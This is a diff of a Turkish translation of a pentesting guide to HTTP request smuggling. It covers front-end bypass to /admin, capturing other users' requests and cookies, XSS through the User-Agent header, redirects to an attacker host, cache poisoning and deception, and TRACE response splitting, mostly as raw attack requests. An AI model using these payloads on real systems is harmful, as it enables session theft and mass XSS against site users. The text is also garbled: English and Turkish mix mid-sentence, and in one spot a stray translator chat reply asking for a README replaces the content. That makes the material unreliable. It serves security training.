 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
-- Turbo Intruder: `requestsPerConnection` ile bağlantı reuse'u üzerinde hassas kontrol sağlar.
-- Burp HTTP Request Smuggler: first‑request routing/validation'ı tespit eden bir connection‑state probe içerir.
+- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
+- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
 
 > [!NOTE]
-> Reuse-only etkileri, server-side desync'i kanıtlayıp somut etki (poisoned cache artifact, internal header `leak` ile privilege bypass, atlatılmış FE kontrolü vb.) ilişkilendiremedikçe önemsemeyin.
+> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
 
 ## Abusing HTTP Request Smuggling
 
 ### Circumventing Front-End Security via HTTP Request Smuggling
 
-Bazen front-end proxy'leri güvenlik önlemleri uygular, gelen istekleri inceleyerek. Ancak bu önlemler HTTP Request Smuggling kullanılarak atlatılabilir ve kısıtlı endpoint'lere yetkisiz erişim sağlanabilir. Örneğin, dışarıdan `/admin` erişimi yasaklanmış olabilir; front-end proxy bu tür denemeleri aktif olarak engeller. Yine de bu proxy, smuggled bir HTTP isteği içindeki gömülü istekleri incelemeyi atlayabilir ve böylece kısıtlamaları baypas etme açığı bırakabilir.
+Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
 
-Aşağıda HTTP Request Smuggling'in front-end güvenlik kontrollerini atlatmak için nasıl kullanılabileceğini gösteren örnekler bulunmaktadır; özellikle front-end proxy tarafından genellikle korunmuş olan `/admin` path'ine odaklanır:
+Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
 
 **CL.TE Example**
 ```
@@ -411,9 +458,9 @@ Content-Length: 10
 
 x=
 ```
-CL.TE saldırısında, ilk istek için `Content-Length` başlığı kullanılırken, gömülü sonraki istek `Transfer-Encoding: chunked` başlığını kullanır. front-end proxy ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini incelemez; bu, `/admin` yoluna yetkisiz erişime izin verir.
+CL.TE saldırısında, ilk istek için `Content-Length` başlığı kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. front-end proxy ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini incelemez; bu `/admin` yoluna yetkisiz erişime izin verir.
 
-**TE.CL Example**
+**TE.CL Örneği**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -429,13 +476,13 @@ a=x
 0
 
 ```
-Tersine, TE.CL saldırısında ilk `POST` isteği `Transfer-Encoding: chunked` kullanır ve sonraki gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlice yerleştirilmiş `GET /admin` isteğini gözden kaçırır ve istemeden `/admin` yoluna erişim sağlar.
+Tersine, TE.CL saldırısında başlangıçtaki `POST` isteği `Transfer-Encoding: chunked` kullanır ve ardından gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlenmiş `GET /admin` isteğini gözden kaçırır ve kazara sınırlı `/admin` yoluna erişim sağlar.
 
 ### Ön uç istek yeniden yazımını ortaya çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Uygulamalar genellikle gelen istekleri back-end sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucu** kullanır. Tipik bir değişiklik, istemcinin IP'sini back-end'e iletmek amacıyla `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemektir. Bu değişiklikleri anlamak kritik olabilir; çünkü bunlar korumaları **atlamanın** veya **gizlenmiş bilgi veya uç noktaları ortaya çıkarmanın** yollarını açığa çıkarabilir.
+Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucusu** kullanır. Tipik bir değişiklik, istemcinin IP adresini arka uca iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak hayati olabilir; çünkü bu, **korumaları atlatma** veya **gizlenmiş bilgileri veya uç noktaları açığa çıkarma** yollarını ortaya çıkarabilir.
 
-Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, back-end'in yanıtında geri döndürdüğü bir `POST` parametresi bulun. Ardından, bu parametreyi son sırada kullanarak şu örneğe benzer bir istek oluşturun:
+Bir proxy'nin isteği nasıl değiştirdiğini incelemek için, arka uç sunucusunun yanıtında geri döndürdüğü bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak aşağıdakine benzer bir istek oluşturun:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -452,19 +499,19 @@ Content-Length: 100
 
 search=
 ```
-Bu yapıda, sonraki istek bileşenleri `search=`'den sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin header'larını açığa çıkarır.
+Bu yapıda, sonraki istek bileşenleri `search=` sonrasına eklenir; bu parametre yanıt içinde yansıtılır. Bu yansıtma sonraki isteğin headers'larını açığa çıkaracaktır.
 
-İç içe geçmiş isteğin `Content-Length` header'ını gerçek içerik uzunluğuyla eşleştirmek önemlidir. Küçük bir değerden başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
+İç içe geçen isteğin `Content-Length` header'ını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
 
-Bu teknik, TE.CL açığı bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
+Bu teknik TE.CL vulnerability bağlamında da uygulanabilir, ancak isteğin `search=\r\n0` ile sonlanması gerekir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
 
-Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya hizmet eder; temelde kendi kendine bir inceleme gerçekleştirir.
+Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya yarar; özünde kendi kendine yapılan bir inceleme gerçekleştirir.
 
 ### Diğer kullanıcıların isteklerini yakalama <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:
+Bir POST işlemi sırasında belirli bir isteği bir parametrenin değeri olarak ekleyerek bir sonraki kullanıcının isteklerini yakalamak mümkündür. Bunun nasıl yapılabileceği şöyle:
 
-Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek sonraki istemcinin isteğini depolayabilirsiniz:
+Aşağıdaki isteği bir parametrenin değeri olarak ekleyerek, sonraki istemcinin isteğini depolayabilirsiniz:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -484,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-Bu senaryoda, **yorum parametresi** genel erişime açık bir sayfadaki bir gönderinin yorum bölümündeki içeriği saklamak için tasarlanmıştır. Dolayısıyla sonraki isteğin içeriği bir yorum olarak görünecektir.
+Bu senaryoda, **yorum parametresi** halka açık bir sayfada bir gönderinin yorum bölümünün içeriğini depolamak için tasarlanmıştır. Sonuç olarak, sonraki isteğin içeriği bir yorum olarak görünecektir.
 
-Bununla birlikte, bu tekniğin sınırlamaları vardır. Genelde, smuggled request'te kullanılan parametre ayırıcıya kadar olan verileri yakalar. URL-encoded form gönderimleri için bu ayırıcı `&` karakteridir. Bu, mağdur kullanıcının isteğinden yakalanan içeriğin ilk `&`'ye kadar duracağı anlamına gelir; bu `&` sorgu dizisinin bir parçası bile olabilir.
+Ancak bu tekniğin sınırlamaları vardır. Genellikle, smuggled request içinde kullanılan parametre ayırıcıya kadar olan veriyi yakalar. URL-encoded form gönderimlerinde, bu ayırıcı `&` karakteridir. Bu, kurban kullanıcının isteğinden yakalanan içeriğin ilk `&` karakterinde (bu karakter sorgu dizesinin bir parçası bile olabilir) sona ereceği anlamına gelir.
 
-Ayrıca, bu yaklaşımın TE.CL zafiyetiyle de mümkün olduğunu belirtmekte fayda var. Bu durumda istek `search=\r\n0` ile sona ermelidir. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
+Ayrıca, bu yaklaşımın TE.CL açığı olan durumlarda da uygulanabilir olduğunu belirtmek gerekir. Bu tür durumlarda, istek `search=\r\n0` ile bitmelidir. Yeni satır karakterlerinden bağımsız olarak, değerler search parametresine eklenecektir.
 
-### HTTP Request Smuggling kullanarak Reflected XSS'i istismar etme
+### Reflected XSS'i exploit etmek için HTTP request smuggling kullanma
 
-HTTP Request Smuggling, **Reflected XSS**'e karşı savunmasız web sayfalarını istismar etmek için kullanılabilir ve önemli avantajlar sunar:
+HTTP Request Smuggling, **Reflected XSS**'e karşı savunmasız web sayfalarını exploit etmek için kullanılabilir ve önemli avantajlar sağlar:
 
 - Hedef kullanıcılarla etkileşim **gerekmez**.
-- HTTP request headers gibi normalde ulaşılamayan isteğin bölümlerinde XSS'in istismar edilmesine izin verir.
+- XSS'in normalde ulaşılamayan kısımlarında, örneğin HTTP request headers gibi, exploit edilmesine izin verir.
 
-Bir web sitesi User-Agent header üzerinden Reflected XSS'e karşı savunmasızsa, aşağıdaki payload bu zafiyeti nasıl istismar edeceğinizi gösterir:
+User-Agent header aracılığıyla Reflected XSS'e duyarlı bir web sitesi durumunda, aşağıdaki payload bu açığın nasıl exploit edileceğini gösterir:
 ```
 POST / HTTP/1.1
 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -518,36 +565,36 @@ Content-Type: application/x-www-form-urlencoded
 
 A=
 ```
-This payload is structured to exploit the vulnerability by:
+This payload, zafiyeti şu şekilde istismar etmek üzere yapılandırılmıştır:
 
-1. Başlangıçta tipik görünen bir `POST` isteği başlatmak; smuggling'in başladığını belirtmek için `Transfer-Encoding: chunked` başlığıyla.
-2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0`.
-3. Sonra, smuggled bir `GET` isteği sokulur; burada `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilerek sunucu bu sonraki isteği işlediğinde XSS tetiklenir.
+1. İlk olarak tipik görünen bir `POST` isteği başlatılır; smuggling'in başladığını belirtmek için `Transfer-Encoding: chunked` başlığı kullanılır.
+2. Ardından chunked mesaj gövdesinin sonunu işaret eden bir `0` gönderilir.
+3. Daha sonra, içine bir betik enjekte edilen `User-Agent` başlığı bulunan smuggled bir `GET` isteği tanıtılır: `<script>alert(1)</script>`. Sunucu bu sonraki isteği işlediğinde XSS tetiklenir.
 
-User-Agent'ı smuggling yoluyla manipüle ederek payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
+`User-Agent`'ı smuggling yoluyla manipüle ederek, payload normal istek kısıtlamalarını atlatır ve böylece Reflected XSS zafiyetini standart olmayan ama etkili bir şekilde istismar eder.
 
 #### HTTP/0.9
 
 > [!CAUTION]
-> Eğer kullanıcı içeriği, XSS'in çalışmasını engelleyen **`Content-type`** olarak örneğin **`text/plain`** ile bir yanıtta yansıtılıyorsa. Eğer sunucu **HTTP/0.9** destekliyorsa, bunun atlatılması mümkün olabilir!
+> Kullanıcı içeriği, **`text/plain`** gibi bir **`Content-type`** ile yanıt içinde yansıtılırsa XSS'in yürütülmesi engellenir. Eğer sunucu **HTTP/0.9**'ı destekliyorsa bunu atlatmak mümkün olabilir!
 
-HTTP/0.9 sürümü, 1.0'dan öncedir ve yalnızca **GET** verbünü kullanır; **headers** ile yanıt vermez, sadece gövdeyi döner.
+HTTP/0.9 sürümü 1.0'dan önceydi ve yalnızca **GET** metodunu kullanır ve **headers** ile yanıt vermez, sadece body ile yanıt verir.
 
-In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. Yanıtta yansıtılacak parametre, başlıklar ve gövde içeren sahte bir **HTTP/1.1 response (with headers and body)** içeriyordu; bu yüzden yanıt, `Content-Type`ı `text/html` olan geçerli çalıştırılabilir JS kodu içerecek şekilde oluştu.
+In [**this writeup**](https://mizu.re/post/twisty-python), bu durum request smuggling ile ve kullanıcının girdisini yanıt olarak döndürecek bir zayıf endpoint kullanılarak suistimal edildi; smuggle edilen HTTP/0.9 isteğinde yansıtılacak parametre **fake HTTP/1.1 response (with headers and body)** içeriyordu, bu yüzden yanıt `Content-Type`'ı `text/html` olan geçerli çalıştırılabilir JS kodu içeriyordu.
 
-### Site İçi Yönlendirmeleri HTTP Request Smuggling ile İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
+### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
 
-Uygulamalar genellikle yönlendirme URL'sinde hostname olarak `Host` başlığındaki ana bilgisayar adını kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasör istenip sonuna eğik çizgi eklenmemişse, eğik çizgiyi eklemek için bir yönlendirme ile sonuçlanır:
+Uygulamalar sıklıkla bir URL'den diğerine yönlendirirken redirect URL'sinde hostname olarak `Host` header'ını kullanır. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, sonu slash ile bitmeyen bir klasör isteği, slash eklemek için bir yönlendirme ile sonuçlanır:
 ```
 GET /home HTTP/1.1
 Host: normal-website.com
 ```
-Sonuç olarak:
+Sonuçlar:
 ```
 HTTP/1.1 301 Moved Permanently
 Location: https://normal-website.com/home/
 ```
-Görünürde zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için istismar edilebilir. Örneğin:
+Görünüşte zararsız olsa da, bu davranış HTTP request smuggling kullanılarak kullanıcıları harici bir siteye yönlendirmek için manipüle edilebilir. Örneğin:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -561,7 +608,7 @@ GET /home HTTP/1.1
 Host: attacker-website.com
 Foo: X
 ```
-Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan kontrolündeki bir web sitesine yönlendirilmesine neden olabilir:
+Bu smuggled request, işlenen bir sonraki kullanıcı isteğinin saldırgan tarafından kontrol edilen bir web sitesine yönlendirilmesine neden olabilir:
 ```
 GET /home HTTP/1.1
 Host: attacker-website.com
@@ -573,17 +620,17 @@ Sonuçlar:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçiriliyor. Saldırgan, kötü amaçlı JavaScript sunarak kullanıcıyı tehlikeye atabilir.
+Bu senaryoda, bir kullanıcının bir JavaScript dosyası isteği ele geçirilir. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcıyı potansiyel olarak compromize edebilir.
 
-### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### HTTP Request Smuggling ile Web Cache Poisoning'in istismarı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Web cache poisoning, herhangi bir bileşenin **front-end infrastructure caches content** olması durumunda uygulanabilir; bu genellikle performansı artırmak içindir. Sunucunun yanıtını manipüle ederek **poison the cache** yapmak mümkün olabilir.
+Web cache poisoning, herhangi bir bileşenin **front-end infrastructure caches content**, genellikle performansı artırmak için, olması durumunda gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek **poison the cache** mümkün olur.
 
-Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini görmüştük (refer to [Basic Examples](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine `/index.html` içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, cache'deki `/static/include.js` içeriği `/index.html` içeriğiyle değiştirilir; bu, `/static/include.js`'in kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.
+Daha önce, sunucu yanıtlarının 404 hatası döndürecek şekilde nasıl değiştirilebileceğini gördük (refer to [Basic Examples](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine `/index.html` içeriği döndürecek şekilde kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir ve `/static/include.js` kullanıcılar için erişilemez hale gelir; bu da potansiyel olarak bir Denial of Service (DoS) durumuna yol açabilir.
 
-Bu teknik, bir **Open Redirect vulnerability** bulunması veya site içinde bir **on-site redirect to an open redirect** olması durumunda özellikle etkili hale gelir. Bu tür zayıflıklar, cache'deki `/static/include.js` içeriğini saldırganın kontrolündeki bir script ile değiştirmek için kullanılabilir ve güncellenmiş `/static/include.js`'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını fiilen mümkün kılar.
+Bu teknik, bir **Open Redirect vulnerability** bulunduğunda veya bir **on-site redirect to an open redirect** olduğunda özellikle etkili hale gelir. Bu tür zafiyetler, önbellekteki `/static/include.js` içeriğinin saldırganın kontrolündeki bir script ile değiştirilmesi için kullanılabilir; bu da güncellenmiş `/static/include.js`'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısı gerçekleştirilmesini sağlar.
 
-Aşağıda **cache poisoning combined with an on-site redirect to open redirect** kullanılarak yapılan bir istismarın gösterimi yer almaktadır. Amaç, cache'deki `/static/include.js` içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
+Aşağıda, **cache poisoning combined with an on-site redirect to open redirect** kullanımının bir örneği gösterilmektedir. Amaç, önbellekteki `/static/include.js` içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
 ```
 POST / HTTP/1.1
 Host: vulnerable.net
@@ -601,20 +648,20 @@ Content-Length: 10
 
 x=1
 ```
-Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
+Gömülü isteğin `/post/next?postId=3`'e yöneldiğine dikkat edin. Bu istek, alan adını belirlemek için **Host header value** kullanılarak `/post?postId=4`'e yönlendirilecek. Saldırgan, **Host header**'ı değiştirerek isteği kendi alan adına yönlendirebilir (**on-site redirect to open redirect**).
 
-Başarılı **socket poisoning** sonrası, `/static/include.js` için bir **GET request** başlatılmalıdır. Bu istek önceki **on-site redirect to open redirect** isteği tarafından kirletilecek ve saldırganın kontrolündeki scriptin içeriğini alacaktır.
+Başarılı bir **socket poisoning**'den sonra, `/static/include.js` için bir **GET request** başlatılmalıdır. Bu istek, önceki **on-site redirect to open redirect** isteği tarafından kirletilecek ve saldırganın kontrolündeki script'in içeriğini alacaktır.
 
-Bundan sonra, `/static/include.js` için yapılacak tüm istekler saldırganın scriptinin önbelleğe alınmış içeriğini servis edecek ve etkin bir şekilde geniş çaplı bir XSS saldırısı başlatılacaktır.
+Ardından, `/static/include.js` için yapılacak her istek saldırganın script'inin önbelleğe alınmış içeriğini sunacak ve bu da geniş çaplı bir XSS saldırısını etkili şekilde başlatacaktır.
 
-### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
+### HTTP request smuggling kullanarak web cache deception gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
 
 > **web cache poisoning ile web cache deception arasındaki fark nedir?**
 >
-> - **web cache poisoning**'de, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına servis edilir.
-> - **web cache deception**'da, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbelleğe almasını sağlar ve ardından bu içeriği önbellekten alır.
+> - **web cache poisoning** durumunda, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
+> - **web cache deception** durumunda, saldırgan uygulamanın başka bir kullanıcıya ait hassas içeriği önbelleğe kaydetmesine neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
 
-Saldırgan, hassas kullanıcıya özel içeriği getiren bir smuggled request hazırlar. Aşağıdaki örneği inceleyin:
+Saldırgan, kullanıcıya özel hassas içeriği getiren bir smuggled request oluşturur. Aşağıdaki örneği inceleyin:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -625,17 +672,17 @@ Saldırgan, hassas kullanıcıya özel içeriği getiren bir smuggled request ha
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Eğer bu smuggled request, statik içerik için ayrılmış bir önbellek girdisini (ör. `/someimage.png`) zehirlerse, mağdurun `/private/messages` içindeki hassas verileri statik içeriğin önbellek girdisi altında saklanmış olabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verileri elde edebilir.
+Eğer bu smuggled request statik içerik için ayrılmış bir cache entry'yi zehirlerse (ör. `/someimage.png`), kurbanın `/private/messages` içindeki sensitive data bu statik içeriğin cache entry'si altında cached olabilir. Sonuç olarak attacker bu cached sensitive data'ları elde edebilir.
 
-### TRACE'i HTTP Request Smuggling ile kötüye kullanma <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### TRACE'ın HTTP Request Smuggling ile kötüye kullanılması <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In this post**](https://portswigger.net/research/trace-desync-attack) öneriyor ki sunucuda TRACE metodu etkinse, HTTP Request Smuggling ile kötüye kullanmak mümkün olabilir. Bunun nedeni, bu metodun sunucuya gönderilen herhangi bir header'ı yanıtın gövdesinde yansıtmasıdır. Örneğin:
+[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) öneriliyor ki eğer sunucuda TRACE methodu etkinse, bunu HTTP Request Smuggling ile suistimal etmek mümkün olabilir. Bunun nedeni bu methodun sunucuya gönderilen herhangi bir header'ı response'ın body kısmında yansıtmasıdır. Örneğin:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Lütfen çevirisini istediğiniz README.md içeriğini buraya yapıştırın. Kod blokları, bağlantılar ve özel etiketler olduğu gibi korunarak Türkçeye çevrilecektir.
+Çevirilecek README.md içeriğini buraya yapıştırın. Verdiğiniz yönergelere göre (kod, teknik terimler, linkler, path'ler ve belirtilen etiketleri çevirmeme kuralına uyarak) Türkçeye çevireceğim.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -646,15 +693,15 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Bu davranışın kötüye kullanımına bir örnek olarak **smuggle first a HEAD request** yapılabilir. Bu isteğe yalnızca bir GET isteğinin **headers**'ı ile cevap verilecektir (bunların arasında **`Content-Type`** de vardır). Ve HEAD'tan hemen sonra **smuggle immediately after the HEAD a TRACE request** gönderilir; bu, gönderilen veriyi yansıtacaktır.\
-HEAD yanıtı bir `Content-Length` header'ı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesiymiş gibi işlenecek ve böylece yanıtta rastgele veriler yansıtılabilecektir**.\
-Bu yanıt bağlantı üzerindeki sonraki isteğe gönderilecektir; bu nedenle örneğin önbelleğe alınmış bir JS dosyasında rastgele JS kodu enjekte etmek için **kullanılabilir**.
+Bu davranışın kötüye kullanılmasına bir örnek, **smuggle first a HEAD request**. Bu isteğe yalnızca bir GET isteğinin **headers** ile yanıt verilecek (**`Content-Type`** bunların arasında). Ve **immediately after the HEAD a TRACE request** smuggle edilirse, gönderilen veriyi **reflecting the sent dat**a.\
+HEAD yanıtı bir `Content-Length` header'ı içereceği için, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** yanıtın gövdesi olarak kabul edilecektir.\
+Bu yanıt bağlantı üzerinden bir sonraki isteğe gönderilecektir; bu nedenle bu, örneğin önbelleğe alınmış bir JS dosyasında keyfi JS kodu enjekte etmek için **used in a cached JS file for example to inject arbitrary JS code**.
 
-### TRACE'ı HTTP Response Splitting yoluyla kötüye kullanma <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Takip etmeniz önerilen [**bu yazı**](https://portswigger.net/research/trace-desync-attack), TRACE metodunun başka bir kötüye kullanım yolunu anlatıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilerek HEAD yanıtındaki bazı yansıtılmış veriler kontrol edilebilir. HEAD isteğinin gövdesinin uzunluğu temelde `Content-Length` header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşturulur.
+Devamında [**this post**](https://portswigger.net/research/trace-desync-attack) önerildiği gibi TRACE methodunu kötüye kullanmanın başka bir yolu anlatılıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilirse HEAD yanıtında bazı yansıtılan veriler **control some reflected data** mümkün olur. HEAD isteğinin gövdesinin uzunluğu temelde `Content-Length` header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşur.
 
-Bu nedenle yeni fikir şu: bu `Content-Length` değerini ve TRACE yanıtında verilen veriyi bildiğinizde, TRACE yanıtının `Content-Length`'ın son baytından sonra geçerli bir HTTP yanıtı içermesini sağlayabilirsiniz; böylece bir saldırgan sonraki yanıt için yapılacak isteği tamamen kontrol edebilir (bu, cache poisoning gerçekleştirmek için kullanılabilir).
+Dolayısıyla yeni fikir şudur: bu `Content-Length` bilindiğinde ve TRACE yanıtında dönen veri bilindiğinde, TRACE yanıtının `Content-Length`'in son baytından sonra geçerli bir HTTP response içerecek şekilde oluşturulması mümkün olabilir; bu da bir saldırganın bir sonraki yanıt üzerindeki isteği tamamen kontrol etmesine izin verir (bu, cache poisoning gerçekleştirmek için kullanılabilir).
 
 Örnek:
 ```
@@ -675,7 +722,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Aşağıdaki yanıtları üretecek (HEAD yanıtının Content-Length'e sahip olması sayesinde TRACE yanıtının HEAD gövdesinin bir parçası haline gelmesine ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olmasına dikkat edin):
+Aşağıdaki yanıtları oluşturacaktır (HEAD yanıtının bir Content-Length'e sahip olduğunu, bunun TRACE yanıtını HEAD gövdesinin parçası yaptığına ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olduğuna dikkat edin):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -696,16 +743,15 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### HTTP Request Smuggling'ı HTTP Response Desynchronisation ile silahlandırma
-
-HTTP Request Smuggling zafiyeti mi buldunuz ve nasıl sömüreceğinizi bilmiyor musunuz? Bu diğer sömürü yöntemlerini deneyin:
+### HTTP Response Desynchronisation ile HTTP Request Smuggling'in Silahlandırılması
 
+Bir HTTP Request Smuggling açığı mı buldunuz ve nasıl istismar edeceğinizi bilmiyor musunuz? Bu diğer istismar yöntemlerini deneyin:
 
 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}
 
-### Diğer HTTP Request Smuggling teknikleri
+### Diğer HTTP Request Smuggling Teknikleri
 
 - Browser HTTP Request Smuggling (Client Side)
 
@@ -721,11 +767,11 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Turbo intruder scriptleri
+## Turbo intruder scripts
 
 ### CL.TE
 
-Kaynak: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Kaynak [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):
 
@@ -811,13 +857,13 @@ table.add(req)
 ## Araçlar
 
 - HTTP Hacker (Burp BApp Store) – birleştirme/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirir
-- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Özel Eylem "Smuggling or pipelining?"
